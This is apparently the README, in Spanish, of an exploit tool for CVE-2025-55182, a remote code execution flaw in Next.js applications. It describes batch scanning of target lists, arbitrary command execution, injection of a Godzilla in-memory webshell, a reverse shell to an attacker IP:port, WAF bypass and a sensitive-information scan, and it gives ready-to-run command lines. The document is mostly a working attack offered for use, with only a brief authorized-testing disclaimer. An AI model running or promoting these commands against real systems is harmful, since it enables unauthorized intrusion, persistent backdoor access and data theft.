CVE-2025-55182 Next.js RCE Scanner

Herramienta de escaneo y explotación de CVE-2025-55182, para la vulnerabilidad de ejecución remota de código en aplicaciones Next.js. Admite detección por lotes, ejecución de comandos, inyección de Godzilla Memory Horse y funcionalidad de reverse shell.

⚠️ Esta herramienta es solo para investigación de seguridad y pruebas autorizadas. No la utilice con fines ilegales.

Características

• Escaneo de múltiples objetivos: admite una sola URL, un archivo con lista de URLs (una por línea) y una carpeta que contenga múltiples archivos .txt.
• Concurrencia multihilo: número de hilos personalizable para mejorar la eficiencia del escaneo.
• Verificación de vulnerabilidades: verifica la existencia de la vulnerabilidad calculando el producto de números aleatorios.
• Ejecución de comandos: ejecuta comandos arbitrarios del sistema en el objetivo vulnerable (compatible con Linux y Windows).
• Inyección de Godzilla Memory Horse: genera información de conexión Godzilla Memory Horse con un solo clic.
• Reverse shell: admite funcionalidad de reverse shell.
• Guardado de resultados: guarda automáticamente las URL explotadas con éxito y sus detalles en success.json, y opcionalmente escribe las URL vulnerables en un archivo específico.
• Soporte de proxy: permite configurar un proxy HTTP para facilitar la integración con herramientas como Burp Suite.
• Visualización de progreso: muestra en tiempo real el progreso del escaneo, tiempo transcurrido, tiempo restante estimado, etc.

[]

Instalación

Requisitos previos

• Go 1.16 o superior
• Git

Clonar repositorio

git clone https://github.com/luoqichen/CVE-2025-55182-POC.git
cd cve-2025-55182-POC

Compilar

go build -o cve-2025-55182 main.go

Ejecutar

./cve-2025-55182 -h

Uso

Descripción de parámetros

Parámetro	Tipo	Valor predeterminado	Descripción
-u	string	Ninguno	URL de un solo objetivo (ej. http://example.com:3000)
-f	string	Ninguno	Archivo que contiene una lista de URLs (una por línea)
-d	string	Ninguno	Carpeta que contiene múltiples archivos .txt
-o	string	Ninguno	Archivo de salida (guarda las URLs vulnerables, una por línea)
-t	int	10	Número de hilos concurrentes
-to	int	10	Tiempo de espera de solicitud (segundos)
-c	string	Ninguno	Comando a ejecutar (ej. id)
-m	string	Ninguno	Modo: waf (habilitar bypass de WAF)
-p	string	Ninguno	Proxy HTTP (ej. http://127.0.0.1:8080)
-g	bool	false	Habilitar inyección de Godzilla Memory Horse
-rs	string	Ninguno	Dirección de reverse shell (formato IP:PORT)
-dv	bool	false	Modo detallado (imprime el proceso de escaneo para cada URL)
-es	bool	false	Modo de escaneo de información sensible

Ejemplos

Escaneo de un solo objetivo

./cve-2025-55182 -u http://target.com:3000

Escaneo por lotes de objetivos en un archivo

./cve-2025-55182 -f targets.txt -t 20 -o vuln.txt

Ejecutar un comando

./cve-2025-55182 -u http://target.com:3000 -c "whoami"

Usar Godzilla Memory Horse

./cve-2025-55182 -u http://target.com:3000 -g

Tras una inyección exitosa, la herramienta muestra la dirección de conexión, contraseña, clave y cabecera de solicitud de Godzilla.

Reverse shell

./cve-2025-55182 -u http://target.com:3000 -rs 10.0.0.1:4444

Habilitar proxy

./cve-2025-55182 -f targets.txt -p http://127.0.0.1:8080 -t 10

Descripción de salida

• success.json: guarda automáticamente los detalles de todos los objetivos explotados con éxito (incluye salida de comandos, configuración de Godzilla, etc.).
• Archivo especificado con -o: guarda la lista de URLs vulnerables (una por línea).

Durante el escaneo se muestra una barra de progreso en tiempo real y las vulnerabilidades descubiertas; al final se imprime un resumen estadístico.

Notas

1. Asegúrese de tener autorización: escanear o atacar sistemas de terceros sin autorización es ilegal.
2. Uso de proxy: si necesita inspeccionar el tráfico con Burp Suite, configure el proxy con el parámetro -p.
3. Conexión Godzilla: tras una inyección exitosa de Godzilla, use el cliente de Godzilla para conectarse. La contraseña y la clave se generan aleatoriamente.
4. Ajuste de tiempo de espera: para objetivos con mala conectividad de red, aumente el valor del parámetro -to.

Descargo de responsabilidad

Esta herramienta está destinada únicamente a la investigación de seguridad y a pruebas autorizadas. El usuario asume toda la responsabilidad legal. El desarrollador no se hace responsable de ningún uso indebido.

Licencia

MIT